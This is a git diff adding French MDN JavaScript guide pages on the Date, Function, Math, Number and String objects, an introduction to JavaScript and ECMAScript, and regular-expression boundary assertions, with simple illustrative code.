De cette façon, le code suivant permet d'afficher le nombre de jours restants pour l'année courante :

+ +
var ajd = new Date();
+var finAnnee = new Date(1995, 11, 31, 23, 59, 59, 999); // On règle jour et mois
+finAnnee.setFullYear(ajd.getFullYear()); // On règle l'année
+var msParJour = 24 * 60 * 60 * 1000; // Nombre de millisecondes par jour
+var joursRestants = (finAnnee.getTime() - ajd.getTime()) / msParJour;
+var joursRestants = Math.round(joursRestants); //renvoie le nombre de jours restants
+
+ +

Dans cet exemple, on crée un objet Date qui contient la date du jour. Ensuite on crée un objet finAnnee et on fixe son année à celle du jour courant. Ensuite, en connaissant le nombre de millisecondes dans une journée, on calcule le nombre de jours entre ajd et finAnnee en utilisant la méthode getTime puis en arrondissant la valeur à un nombre entier.

+ +

La méthode parse peut s'avérer utile lorsqu'on souhaite transformer une chaîne de caractères (en anglais, attention) en une date. L'exemple qui suit utilise les méthodes parse et setTime pour assigner une valeur de date à l'objet dateIPO :

+ +
var dateIPO = new Date();
+dateIPO.setTime(Date.parse("Aug 9, 1995"));
+
+ +

Exemple d'utilisation

+ +

L'exemple qui suit permet de définir la fonction JSClock() qui renvoie l'heure au même format qu'une horloge numérique :

+ +
function JSClock() {
+  var time = new Date();
+  var heure = time.getHours();
+  var minute = time.getMinutes();
+  var seconde = time.getSeconds();
+  var temp = "" + heure;
+  temp += ((minute < 10) ? ":0" : ":") + minute;
+  temp += ((seconde < 10) ? ":0" : ":") + seconde;
+  return temp;
+}
+
+ +

La fonctionThe JSClock commence par créer un objet Date appelé time. Aucun argument n'est donné, c'est donc la date et l'heure courante. Ensuite, on appelle les méthodes getHours, getMinutes, et getSeconds pour connaître l'heure, les minutes et les secondes.

+ +

Les trois instructions suivantes permettent de construire une chaîne de caractères avec la variable temp. On ajoute l'heure, puis les minutes (si celles-ci sont inférieures à 10, on rajoute un 0 devant), puis les secondes (de la même manière on rajoute un zéro devant si le nombre de secondes est inférieur à 10).

+ +

L'objet Function

+ +

L'objet élémentaire Function définit une chaîne de caractères de code JavaScript qui doit être compilé comme une fonction.

+ +

Pour créer un objet Function on peut utiliser la syntaxe suivante :

+ +
var functionNomObjet = new Function ([arg1, arg2, ... argn], corpsFonction);
+
+ +

functionNomObjet est le nom d'une variable ou d'une propriété d'un objet. On peut également utiliser cette syntaxe avec un objet suivi par un nom de gestionnaire d'événements en minuscules comme window.onerror.

+ +

arg1, arg2, ... argn sont les arguments qui sont utilisés par la fonction. Chacun de ces arguments doit être une chaîne de caractères qui est un identifiant JavaScript valide (ex : "x" ou "monFormulaire".

+ +

corpsFonction est une chaîne de caractères définissant le code JavaScript qui doit être compilé comme le code de la fonction.

+ +

Les objets Function sont évalués à chaque fois qu'ils sont utilisés. Utiliser ces objets est moins efficaces que la déclaration de fonctions qu'on appellera au sein du code. Cela est dû au fait que les fonctions déclarées sont compilées.

+ +

En plus de la définition de fonction abordée ici, on peut également les expressions de fonction ou l'instruction function. Voir la référence JavaScript pour plus d'informations sur ces différentes syntaxes.

+ +

Le code suivant assigne une fonction à la variable setBGColor. Cette fonction permet de définir la couleur d'arrière-plan du document courant.

+ +
var setBGColor = new Function("document.bgColor = 'antiquewhite'");
+
+ +

Pour appeler l'objet Function, on peut utiliser le nom de la variable comme une fonction. Le code qui suit exécute la fonction qui aura été assignée à la variable setBGColor :

+ +
var choixCouleur="antiquewhite";
+if (choixCouleur=="antiquewhite") {setBGColor()}
+
+ +

On peut assigner la fonction à un gestionnaire d'événements de différentes façons :

+ +
    +
  1. + 
    document.form1.colorButton.onclick = setBGColor;
+
    +
    2. +
  2. + 
    <INPUT NAME="colorButton" TYPE="button"
+  VALUE="Changer la couleur de l'arrière-plan"
+  onClick="setBGColor()">
+
    +
    3. +
+ +

La création de la variable setBGColor montrée avant est similaire à la fonction suivante :

+ +
function setBGColor() {
+  document.bgColor = 'antiquewhite';
+}
+
+ +

Assigner une fonction à une variable est similaire à la déclaration d'une fonction, cependant il y a quelques différences :

+ +
    +
  • Lorsqu'on assigne une fonction à une variable en utilisant la syntaxe  var setBGColor = new Function("..."), setBGColor est une variable dont la valeur courante est une référence à la fonction créée avec new Function().
    • +
  • Quand on crée une fonction en utilisant la syntaxe function setBGColor() {...}, setBGColor n'est pas une variable, c'est le nom de la fonction.
    • +
+ +

Il est possible d'imbriquer une fonction au sein d'une fonction. La fonction imbriquée est privée, en termes de portée, pour la fonction englobante.

+ +
    +
  • La fonction imbriquée peut être utilisée à partir d'instructions seulement depuis la fonction englobante.
    • +
  • La fonction imbriquée peut utiliser des arguments et des variables de la fonction englobante. La fonction englobante ne peut pas utiliser les arguments et les variables de la fonction imbriquée.
    • +
+ +

L'objet Math

+ +

L'objet élémentaire Math possède différentes propriétés et méthodes pour manipuler des constantes et des fonctions mathématiques. Ainsi, la propriété PI de cette objet possède la valeur de pi (3.141...) :

+ +
Math.PI
+
+ +

De la même façon, cet objet met a disposition des fonctions mathématiques qui sont des méthodes de l'objet Math. On retrouvera des fonctions trigonométriques, logarithmiques, exponentielles... Ainsi pour utiliser la fonction sinus, on écriera :

+ +
Math.sin(1.56)
+
+ +

Note : les arguments des méthodes trigonométriques de cet objet doivent être exprimés en radians.

+ +

Le tableau suivant liste les différentes méthodes de l'objet Math.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tableau 7.1 Méthodes de l'objet Math
MéthodeDescription
absValeur absolue
sin, cos, tanFonctions trigonométriques sinus, cosinus et tangente
acos, asin, atan, atan2Fonctions trigonométriques inverses, les valeurs renvoyées sont exprimées en radians
exp, logLes fonctions exponentielle et logarithme (naturel ou à base e)
ceilRenvoie le plus petit entier supérieur ou égal à l'argument
floorRenvoie le plus grand entier inférieur ou égal à l'argument
min, maxRenvoie le minimum ou le maximum (respectivement) des deux arguments
powLa fonction puissance, le premier argument est la base et le second argument est l'exposant
randomRenvoie un nombre aléatoire compris entre 0 et 1
roundArrondit l'argument au plus proche entier
sqrtLa fonction racine carrée
+ +

Contrairement à beaucoup d'autres objets, on ne crée jamais d'objet Math personnalisé : on utilise toujours l'objet élémentaire Math.

+ +

L'objet Number

+ +

L'objet Number possède des propriétés correspondantes aux constantes numériques. On y trouve : la valeur maximale qu'il est possible de représenter, la valeur minimale, les infinis (négatifs et positifs), et également la constante « not a number » ou NaN qui indique que la valeur n'est pas un nombre. Ces valeurs sont fixes, ne peuvent être changées et s'utilisent de la façon suivante :

+ +
var maximum = Number.MAX_VALUE;
+var minimum = Number.MIN_VALUE;
+var infiniPlus = Number.POSITIVE_INFINITY;
+var infiniMoins = Number.NEGATIVE_INFINITY;
+var nonNombre = Number.NaN;
+
+ +

Il faut toujours utiliser les propriétés de l'objet Number lui-même et non pas celles d'un objet Number qui aurait été créé.

+ +

Le tableau suivant liste les différents propriétés de l'objet Number :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tableau 7.2 Propriétés de l'objet Number
PropriétéDescription
MAX_VALUELe plus grand nombre qu'on peut représenter
MIN_VALUELe plus petit nombre qu'on peut représenter
NaNValeur spéciale pour les valeurs non numériques
NEGATIVE_INFINITYValeur spéciale pour représenter l'infini négatif
POSITIVE_INFINITYValeur spéciale pour représenter l'infini positif
+ +

Le prototype Number fournit également des méthodes pour obtenir des informations d'objets Number. Le tableau suivant liste ces différentes méthodes de Number.prototype :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tableau 7.3 Méthodes de Number.prototype
MéthodeDescription
toExponentialRenvoie une chaîne de caractères représentant le nombre dans sa notation exponentielle.
toFixedRenvoie une chaîne de caractères représentant le nombre dans sa notation à point fixe.
toPrecisionRenvoie une chaîne de caractères représentant le nombre dans sa notation à point fixe, avec une précision donnée.
toSourceRenvoie un littéral objet représentant l'objet Number. Cette valeur peut ensuite être utilisée pour créer un nouvel objet. Cette méthode surcharge la méthode Object.toSource.
toStringRenvoie une chaîne de caractères représentant l'objet. Cette méthode surcharge la méthode Object.toString.
valueOfRenvoie la valeur primitive de l'objet. Cette méthode surcharge la méthode Object.valueOf.
+ +

L'objet RegExp

+ +

Pour plus d'explications sur le fonctionnement des expressions rationnelles, voir la page sur les expressions rationnelles.

+ +

L'objet String

+ +

L'objet String est une enveloppe pour les données du type chaîne de caractères. Les littéraux de chaînes de caractères ne doivent pas être confondus avec les objets String. Par exemple, le code suivant crée deux choses : un littéral de chaîne de caractère, s1, et l'objet String s2 :

+ +
var s1 = "truc"; //crée un littéral de chaîne de caractères
+var s2 = new String("truc"); //crée un objet String
+
+ +

Chacune des méthodes de l'objet String peut être utilisée sur une valeur qui est un littéral de chaîne de caractères (pour ce faire, JavaScript convertit automatiquement le littéral en un objet String temporaire, appelle la méthode voulue puis supprime l'objet temporaire). Il est également possible d'utiliser la propriété String.length sur un littéral de chaîne de caractères.

+ +

Il est fortement recommandé d'utiliser des littéraux de chaînes de caractères à moins d'avoir spécifiquement besoin d'utiliser un objet String. En effet, les objets String peuvent avoir des effets inattendus :

+ +
var s1 = "2 + 2"; //crée un littéral de chaîne de caractères
+var s2 = new String("2 + 2"); //crée un objet String
+eval(s1); //renvoie 4
+eval(s2); //renvoie la chaîne "2 + 2"
+ +

Un objet String possède une seule propriété, length, indiquant le nombre de caractères contenus dans la chaîne de caractères. Dans le code qui suit, x recevra la valeur 13 car la chaîne "Hello, World!" possède 13 caractères :

+ +
var maChaine = "Hello, World!";
+var x = maChaine.length;
+
+ +

Un objet possède deux types de méthodes : celles qui renvoient une chaîne modifiée à partir de l'objet initial et celles qui renvoient une version au format HTML de la chaîne. Dans la première catégorie on trouvera des méthodes comme substring et toUpperCase, dans la seconde catégorie, on trouvera notamment bold et link.

+ +

Par exemple, si on utilise la chaîne précédente maChaine.toUpperCase() ou aussi "hello, world!".toUpperCase(), on obtiendra le résultat "HELLO, WORLD!".

+ +

La méthode substring contient deux arguments et renvoie un fragment de la chaîne de caractères entre ces deux arguments qui correspondent aux indices de début et de fin du « découpage ». maChaine.substring(4, 9) renverra "o, Wo".

+ +

L'objet String possède également certaines méthodes permettant d'obtenir directement des données au format HTML : des liens, du texte formaté... Ainsi on pourrait créer un hyperlien avec la méthode suivante :

+ +
maChaine.link("http://www.helloworld.com")
+
+ +

Le tableau qui suit liste les méthodes des objets String.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tableau 7.4 Méthodes des instances du prototype String
MéthodeDescription
anchorPermet de créer un ancre HTML
big, blink, bold, fixed, italics, small, strike, sub, supPermet de formater une chaîne de caractères au format HTML. (Note : l'utilisation du CSS peut parfois être plus judicieuse que certaines entités HTML).
charAt, charCodeAtRenvoie le caractère ou le code du caractère à la position indiquée dans la chaîne de caractères.
indexOf, lastIndexOfRenvoie la position d'un fragment de la chaîne de caractères (respectivement la dernière position).
linkCrée un hyperlien HTML
concatConcatène deux chaînes de caractères en une chaîne de caractères.
fromCharCodeConstruit une chaîne de caractères à partir de la séquence de codes Unicodes fournie. Cette méthode appartient au prototype String mais pas aux instances objets String.
splitDécoupe un objet String en un tableau de chaînes de caractères selon un séparateur donné.
sliceExtrait un fragment de la chaîne de caractères et renvoie une nouvelle chaîne.
substring, substrRenvoie un fragment de la chaîne de caractères à partir d'un indice jusqu'à un autre indice ou à partir d'un indice et pour une longueur donnée.
match, replace, searchFonctionne avec les expressions rationnelles.
toLowerCase, toUpperCase +

Renvoie la chaîne de caractères en lettres minuscules (respectivement, en lettres majuscules).

+
+ +

« Précédent  Suivant »

diff --git a/files/fr/conflicting/web/javascript/guide/introduction/index.html b/files/fr/conflicting/web/javascript/guide/introduction/index.html new file mode 100644 index 0000000000..d9e7239070 --- /dev/null +++ b/files/fr/conflicting/web/javascript/guide/introduction/index.html @@ -0,0 +1,139 @@ +--- +title: A propos de ce guide +slug: Web/JavaScript/Guide/Apropos +tags: + - Guide + - JavaScript +translation_of: Web/JavaScript/Guide/Introduction +translation_of_original: Web/JavaScript/Guide/About +--- +

{{jsSidebar("JavaScript Guide")}}

+ +

JavaScript est un langage de script orienté objet et indépendant de la plateforme. Ce guide explique tout ce que vous devriez savoir pour utiliser JavaScript.

+ +

Nouvelles fonctionalités selon les versions de JavaScript

+ +

+ +

Ce que vous devriez déjà connaître

+ +

Ce guide présuppose que vous possédez déjà les connaissances suivantes :

+ +
    +
  • Une compréhension générale d'Internet et du World Wide Web (WWW).
    • +
  • De bonnes connaissances pratiques du langage HTML (HyperText Markup Language).
    • +
  • Une expérience avec un langage de programmation est utile, mais n'est pas indispensable. Si vous débutez en programmation, vous pouvez essayer de suivre un des tutoriel de la page JavaScript
    • +
+ +

Versions de JavaScript

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tableau des versions de JavaScript et des navigateurs correspondants
Version JavaScriptVersion du navigateur
JavaScript 1.0Navigator 2.0
JavaScript 1.1Navigator 3.0
JavaScript 1.2Navigator 4.0-4.05
JavaScript 1.3Navigator 4.06-4.7x
JavaScript 1.4 
JavaScript 1.5Navigator 6.0
+ Mozilla (open source browser)
JavaScript 1.6Firefox 1.5 et les autres produits Mozilla basés sur Gecko 1.8
JavaScript 1.7Firefox 2 et les autres produits Mozilla basés sur Gecko 1.8
JavaScript 1.8Firefox 3 et les autres produits Mozilla basés sur Gecko 1.9
+ +

Où trouver de l'information sur JavaScript

+ +

La documentation JavaScript se trouve dans les ouvrages suivants:

+ + + +

Si vous découvrez JavaScript, commencez par le guide JavaScript. Une fois familiarisé avec les fondamentaux, vous pourrez utiliser la référence JavaScript pour plus de détails sur les objets et les instructions.

+ +

Astuces pour l'apprentissage du JavaScript

+ +

Commencer l'apprentissage de JavaScript est assez simple : tout ce dont vous avez besoin c'est d'un navigateur Web récent. Ce guide intègre quelques fonctions JavaScript qui ne sont disponibles qu'avec les dernières versions de Firefox (et/ou les autres navigateurs basés sur le moteur Gecko), aussi est-il recommandé d'utiliser la version la plus récente de Firefox.

+ +

Deux outils utiles sont nativement intégrés à Firefox et permettent de manipuler du JavaScript : la console web et l'ardoise JavaScript.

+ +

La console web

+ +

La console web permet d'afficher des informations sur la page web chargée dans le navigateur. Elle possède également une ligne de commande qui permet d'exécuter des expressions JavaScript dans la page courante.

+ +

Pour ouvrir la console web, aller dans le menu « Outils » puis « Développement web » puis « Console web ». La console apparaîtra en base de la fenêtre du navigateur. En bas de cette console se situe une ligne de commande qui peut être utilisée pour saisir du JavaScript :

+ +

+ +

L'ardoise JavaScript

+ +

La console web permet d'exécuter des lignes de JavaScript une à une. Dès qu'on souhaite exécuter plusieurs lignes, la console n'est plus très pratique. De plus, il est impossible d'enregistrer du code grâce à la console web. Pour mettre en place des exemples plus complexes, l'ardoise JavaScript sera plus adaptée.

+ +

Pour ouvrir l'ardoise, aller dans le menu « Outils » puis « Développement web » puis « Ardoise JavaScript ». Elle s'ouvre dans une fenêtre séparée et contient un éditeur qui permet d'écrire et d'exécuter du JavaScript dans le navigateur. Elle permet également de sauvegarder/charger des scripts sur votre ordinateur

+ +

Si vous utiliser l'option aller dans le menu « Examiner », le code contenu dans l'ardoise sera exécuter dans le navigateur et le résultat sera renvoyé dans l'éditeur sous forme d'un commentaire :

+ +

+ +

Conventions

+ +

Les applications JavaScript fonctionnent sur de nombreux systèmes d'exploitations. Les informations de ce guide doivent s'appliquer à l'ensemble des systèmes sur lesquels fonctionne JavaScript.

+ +

Ce guide utilise des URL de la forme suivante :

+ +

http://serveur.domaine/chemin/fichier.html

+ +

Dans ces URL, serveur représente le nom du serveur à partir duquel on lance l'application ; domaine représente le nom de domaine utilisé (par exemple netscape.com ou uiuc.edu) ; chemin représente l'arborescence du serveur et fichier.html représente un fichier dans cette arborescence. Généralement, les éléments représentés en italique dans l'URL seront des paramètres et les éléments représentés en police à chasse fixe seront à prendre au sens littéral. Si votre serveur permet d'utiliser SSL/TLS, vous pourrez utiliser https à la place de http.

+ +

Ce guide utilise les conventions de typographie suivantes :

+ +
    +
  • La police à chasse fixe est utilisée pour les exemples de code, les éléments de code (mots-clés, noms de méthodes et de propriétés), les noms de fichiers, les chemins vers les fichiers, les noms de répertoires, les balises HTML ainsi que tout texte devant être saisi à l'écran (La police à chasse fixe italique est utilisée pour les paramètres dans le code.)
    • +
  • L'italique est utilisé pour les titres d'œuvres, l'accentuation, les variables et les paramètres ainsi que les termes à utiliser littéralement.
    • +
  • Le gras est utilisé pour les termes du glossaire.
    • +
+ +
+

« PrécédentSuivant »

+
+ +

 

diff --git a/files/fr/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html b/files/fr/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html new file mode 100644 index 0000000000..a5ec22c993 --- /dev/null +++ b/files/fr/conflicting/web/javascript/guide/introduction_6f341ba6db4b060ccbd8dce4a0d5214b/index.html @@ -0,0 +1,118 @@ +--- +title: Aperçu de JavaScript +slug: Web/JavaScript/Guide/JavaScript_Overview +tags: + - Guide + - Intermediate + - JavaScript +translation_of: Web/JavaScript/Guide/Introduction +translation_of_original: Web/JavaScript/Guide/JavaScript_Overview +--- +

{{jsSidebar("JavaScript Guide")}}

+

Ce chapitre est une introduction à JavaScript et détaille quelques-uns des concepts fondamentaux de ce langage.

+

Qu'est-ce que JavaScript ?

+

JavaScript est un langage de script, multi-plateforme, orienté-objet. JavaScript est un langage compact, léger. Il n'est pas conçu pour être utilisé de manière autonome, mais pour être intégré dans d'autres produits et applications tels que les navigateurs web. Dans un environnement hôte, JavaScript peut servir d'interface de manipulation avec les objets mis à disposition par l'environnement.

+

Le noyau du langage JavaScript contient un ensemble d'objets, tels que Array, Date, et Math, et un noyau d'éléments comme les opérateurs, structures de contrôle et déclarations. Le cœur de JavaScript peut être étendu pour remplir différents besoins grâce à des objets additionnels. Par exemple :

+
    +
  • Le JavaScript, côté client, étend le noyau du langage en y ajoutant des objets pour contrôler le navigateur et son Document Object Model (DOM). Les extensions côté client permettent par exemple à une application de placer des éléments dans un formulaire HTML et de répondre à des événements tels que le clic de la souris, une entrée dans un formulaire ou la navigation dans une page.
    • +
  • Le JavaScript, côté serveur, étend le noyau du langage en y ajoutant des objets nécessaires pour faire fonctionner JavaScript sur un serveur. Par exemple, les extensions côté serveur permettent à une application de communiquer avec une base de données relationnelle, d'offrir des informations continues au fur et à mesure des appels, ou encore d'effectuer des manipulations de fichiers sur le serveur.
    • +
+

Grâce à la fonctionnalité LiveConnect, JavaScript peut faire communiquer du code Java avec JavaScript. À partir de JavaScript, on peut instancier des objets Java et accéder à leurs méthodes publiques et attributs. À partir de Java, on peut accéder des objets, propriétés et méthodes JavaScript.

+

Netscape inventa JavaScript et fut le premier navigateur à l'utiliser.

+

JavaScript et Java

+

JavaScript et Java sont semblables en ce qui concerne quelques aspects mais restent fondamentalement différents. JavaScript ressemble à Java, mais il ne possède pas un typage fort et statique. JavaScript suit la syntaxe de la plupart des expressions Java, les conventions de nommage et les structures de flots de contrôle basiques. C'est pour cette raison qu'il a été renommé de LiveScript en JavaScript.

+

En contraste avec le système compile-time des classes construites par des déclarations, JavaScript supporte les systèmes runtime basés sur un petit nombre de types de données représentant des valeurs numériques, booléennes et des chaines de caractères. JavaScript possède un modèle objet basé sur des prototypes au lieu du modèle objet traditionnel. Le modèle basé sur le prototype offre un héritage dynamique. Cela signifie que ce qui est hérité peut varier selon les objets. JavaScript supporte aussi l'écriture de fonctions sans qu'il y ait besoin de déclarations spéciales. Les fonctions peuvent être des propriétés d'objets, exécutées comme des méthodes avec un typage souple.

+

JavaScript est un langage beaucoup plus souple que Java. Il n'est pas nécessaire de déclarer toutes les variables, classes, et méthodes. Il n'y a pas à se soucier qu'une méthode soit publique, privée ou protégée, il n'y a pas à implémenter d'interfaces. Les variables, paramètres et types de retour des fonctions ne sont pas explicitement typés.

+

Java est un langage de programmation basé sur les classes conçues pour une exécution rapide et un typage sûr. La sûreté du typage signifie qu'on ne peut pas transformer un entier en Java en une référence vers un objet ni accéder à la mémoire privée via une corruption du bytecode Java. Le modèle de Java, basé sur les classes, signifie que les programmes se composent exclusivement de classes et de leurs méthodes. L'héritage des classes en Java ainsi que le typage fort exigent généralement une hiérarchie d'objets étroitement couplée. Ces exigences font que la programmation en Java peut s'avérer plus complexe que JavaScript.
+
+ En revanche, JavaScript vient d'une lignée de langages plus légers, dynamiquement typés comme HyperTalk et dBASE. Ces langages de script offrent des outils de programmation à un public beaucoup plus large en raison de leur syntaxe plus facile, des fonctionnalités spécialisées intégrées et des exigences minimales pour la création d'objets.

+

Table 1.1 Comparaison entre JavaScript et Java

+ + + + + + + + + + + + + + + + + + + + + + +
+ Tableau 1.1 Comparaison entre JavaScript et Java
JavaScriptJava
Orienté objet. Pas de distinction entre les types d'objets. L'héritage se fait à travers le mécanisme de prototype et les propriétés et méthodes peuvent être ajoutées à n'importe quel objet dynamique.Basé sur classes. Les objets sont divisés en classes et instances avec une hiérarchie d'héritage. Les classes et les instances ne peuvent pas avoir des propriétés ou des méthodes ajoutées dynamiquement.
Les types des variables ne sont pas déclarés (typage dynamique).Les types des variables doivent être déclarés (typage statique).
On ne peut pas écrire automatiquement sur le disque dur.On ne peut pas écrire automatiquement sur le disque dur.
+

Pour plus d'informations sur la différence entre JavaScript et Java, voir les détails au chapitre du modèle objet de JavaScript.

+

JavaScript et la spécification ECMAScript

+

Netscape a inventé JavaScript et JavaScript a d'abord été utilisé dans les navigateurs Netscape. Cependant, Netscape travailla avec Ecma International - l'association européenne pour la normalisation des systèmes d'information et de communication (ECMA était autrefois un acronyme pour European Computer Manufacturers Association), afin de fournir un standard et un langage de programmation international basée sur le noyau JavaScript. Cette version standardisée de JavaScript, appelée ECMAScript, se comporte de la même façon dans toutes les applications qui prennent en charge la norme. Les entreprises peuvent utiliser le langage standard ouvert pour développer leur implémentation de JavaScript. La norme ECMAScript est documentée dans la spécification ECMA-262.
+
+ La norme ECMA-262 est également approuvée par l'ISO (Organisation internationale de normalisation) en tant que norme ISO-16262. Vous pouvez trouver une version PDF de la norme ECMA-262 (version obsolète) sur le site de Mozilla. Vous pouvez également trouver les spécifications sur le site de l'Ecma International. La spécification ECMAScript ne décrit pas le Document Object Model (DOM), qui est standardisé par le World Wide Web Consortium (W3C). Le DOM définit la manière dont les objets des documents HTML sont exposés à votre script.

+

Relation entre les versions de JavaScript et les éditions d'ECMAScript

+

Netscape a travaillé en étroite collaboration avec Ecma International afin de produire la spécification ECMAScript (ECMA-262). Le tableau suivant décrit la relation entre les versions de JavaScript et les éditions d'ECMAScript.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Tableau 1.2 Les versions de JavaScript et les liens avec les versions ECMAScript
Version de JavaScriptLien avec l'édition d'ECMAScript
JavaScript 1.1ECMA-262, Édition 1 basée sur JavaScript 1.1.
JavaScript 1.2 +

ECMA-262 n'était pas terminée lorsque JavaScript 1.2 est sorti. JavaScript 1.2 n'est pas entièrement compatible avec la norme ECMA-262, édition 1, pour les raisons suivantes :

+
    +
  • Netscape a développé des fonctionnalités supplémentaires dans JavaScript 1.2 qui n'ont pas été prises en considération pour ECMA-262.
    • +
  • ECMA-262 ajoute deux nouvelles fonctionnalités : l'internationalisation en utilisant le comportement Unicode et uniforme sur toutes les plateformes. Plusieurs fonctionnalités de JavaScript 1.2, telles que l'objet Date, qui étaient dépendantes de la plateforme.
    • +
+
JavaScript 1.3JavaScript 1.3 est entièrement compatible avec la norme ECMA-262, édition 1.
+ JavaScript 1.3 a résolu les contradictions que JavaScript 1.2 a eu avec ECMA-262, tout en conservant toutes les fonctionnalités supplémentaires de JavaScript 1.2, sauf == et! =, qui ont été modifiées pour se conformer à la norme ECMA-262.
JavaScript 1.4JavaScript 1.4 est entièrement compatible avec la norme ECMA-262, édition 1.
+ La troisième version de la spécification ECMAScript n'a pas été finalisée lorsque JavaScript 1.4 est sorti.
JavaScript 1.5JavaScript 1.5 est entièrement compatible avec la spécification ECMA-262, édition 3.
+
+

Remarque : ECMA-262 dans sa deuxième édition contenait des modifications mineures et corrections de bugs selon la spécification Édition 1. La version actuelle par le groupe de travail TC39 d'Ecma International est ECMAScript Edition 5.1

+
+

La référence JavaScript indique les fonctionnalités du langage qui sont conformes à ECMAScript.

+

JavaScript inclut toujours des fonctionnalités qui ne font pas partie de la spécification ECMAScript. JavaScript est compatible avec ECMAScript, tout en offrant des fonctionnalités supplémentaires.

+

Documentation de JavaScript et spécification ECMAScript

+

La spécification ECMAScript est un ensemble d'exigences pour la mise en œuvre ECMAScript. Elle est utile pour savoir si une fonctionnalité JavaScript est prise en charge dans d'autres implémentations ECMAScript. Si vous prévoyez d'écrire du code JavaScript qui utilise des fonctionnalités prises en charge par ECMAScript seulement, alors il vous sera peut-être nécessaire de revoir la spécification ECMAScript.
+
+ Le document ECMAScript n'est pas destiné à aider les programmeurs de script : c'est le but de la documentation JavaScript.

+

Terminologie JavaScript et ECMAScript

+

La spécification ECMAScript utilise une syntaxe et une terminologie qui peuvent ne pas être familières à un programmeur JavaScript. Bien que la description du langage puisse varier en ECMAScript, le langage lui-même reste le même. JavaScript prend en charge toutes les fonctionnalités décrites dans la spécification ECMAScript.

+

La documentation JavaScript décrit les aspects du langage qui sont appropriés pour un programmeur JavaScript. Par exemple :

+
    +
  • L'objet global n'est pas abordé dans la documentation JavaScript parce qu'il n'a pas à être utilisé directement. Les méthodes et propriétés de l'objet global, que vous utilisez, sont abordées dans la documentation de JavaScript, mais sont appelées fonctions et propriétés de plus haut niveau (top-level).
    • +
  • Le constructeur sans paramètre des objets Number et String ne sont pas abordés dans la documentation JavaScript, parce que le résultat est peu utile. Un constructeur Number appelé sans argument retourne +0, et un constructeur String sans argument retourne "" (une chaine de caractères vide).
    • +
+

« Précédent  Suivant »

+

 

diff --git a/files/fr/conflicting/web/javascript/guide/regular_expressions/assertions/index.html b/files/fr/conflicting/web/javascript/guide/regular_expressions/assertions/index.html new file mode 100644 index 0000000000..f56d56a399 --- /dev/null +++ b/files/fr/conflicting/web/javascript/guide/regular_expressions/assertions/index.html @@ -0,0 +1,96 @@ +--- +title: Limites +slug: Web/JavaScript/Guide/Expressions_régulières/Limites +tags: + - Guide + - JavaScript + - Limites + - RegExp +translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions +translation_of_original: Web/JavaScript/Guide/Regular_Expressions/Boundaries +--- +

{{jsSidebar("JavaScript Guide")}}{{draft}}

+ +

Les limites permettent d'indiquer les débuts et fins des lignes et des mots.

+ +

Types

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
CaractèresSignification
^ +

Correspond au début la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement après un caractère de saut de ligne.
+
+ Ainsi, /^A/ ne correspond pas au 'A' de "un A", mais correspond au 'A' de "Arceau".
+
+ Le caractère '^' possède un sens différent lorsqu'il est utilisé dans un motif d'ensemble de caractères. Voir les compléments sur les ensembles de caractères pour plus de détails et d'exemples.

+
$ +

Correspond à la fin de la séquence. Si le marqueur (flag) de lignes multiples vaut true, il correspondra également immédiatement avant un caractère de saut de ligne.

+ +

Ainsi, /t$/ ne correspond pas au 't' de "printemps", mais correspond au 't' de "aliment".

+
\b +

Correspond à la position d'uneAfter the  limite de mot. Une limite de mot correspond à la position où un caractère d'un mot n'est pas suivi ou précédé d'un autre caractère de mot. Il faut savoir que la limite correspondante n'est pas incluse dans le résultat. Autrement dit, la longueur d'une telle correspondance est nulle. (À ne pas confondre avec [\b].)

+ +

Exemples :
+ /\bm/ correspond au 'm' dans "mignon" ;
+ /no\b/ ne correspond pas au  'no' de "mignon" car 'no' est suivi de 'n' qui n'est pas un caractère de limite de mot;
+ /non\b/ correspond au 'non' de "mignon" car 'non' représente la fin de la chaîne de caractère et n'est donc pas suivi par un caractère de mot.
+ /\w\b\w/ ne correspondra jamais à quoi que ce soit car un caractère de mot ne peut pas être suivi à la fois par un caractère de mot et un caractère n'étant pas un caractère de mot.

+ +
+

Note : Le moteur d'expressions rationnelles JavaScript définit un ensemble de caractères spécifiques qui doivent être considérés comme des caractères de mot. Tout caractère qui n'est pas dans cet ensemble est considéré comme une limite de mot. Cet ensemble de caractères est relativement limité car constitué uniquement des caractères de l'alphabet romain en minuscules et en majuscules, des chiffres décimaux et du tiret-bas (underscore). Les autres caractères, comme les caractères accentués (é ou ü par exemple), sont donc considérés comme des limites de mots.

+
+
\B +

Correspond à une "non-limite de mot". Cela correspond pour les cas suivants :

+ +
    +
  • Avant le premier caractère d'une chaîne de caractères
    • +
  • Après le dernier caractère d'une chaîne de caractères
    • +
  • Entre deux caractères de mot
    • +
  • Entre deux caractères qui ne sont pas des caractères de mot
    • +
  • Avec la chaîne vide.
    • +
+ +

Ainsi, /\B../ correspond au 'oo' de "football" (et /e\B./ correspond au 'er' dans "une mer "

+
+ +

Exemples

+ +

Cibler le début d'un champ grâce au caractère de contrôle ^

+ +

On utilisera le caractère spécial ^ afin de cibler le début d'un mot. Dans cet exemple, on filtre les fruits qui commencent par A grâce à l'expression rationnelle /^A/.

+ +
let fruits = ["Ananas", "Melon", "Orange", "Abricot", "Pomme"];
+
+let fruitsDebutantParA = fruits.filter(fruit => /^A/.test(fruit));
+console.table(fruitsDebutantsParA); // [ 'Ananas', 'Abricot' ]
+ +

Dans ce deuxième exemple, on utilise ^ à la fois pour indiquer le début du mot et pour indiquer un groupe complémentaire pour ne sélectionner que les fruits dont le nom ne commence pas par A.

+ +
let fruits = ["Ananas", "Melon", "Orange", "Abricot", "Pomme"];
+
+let fruitsNeDebutantPasParA = fruits.filter(fruit => /^[^A]/.test(fruit));
+console.table(fruitsNeDebutantPasParA); // [ 'Melon', 'Orange', 'Pomme' ]]
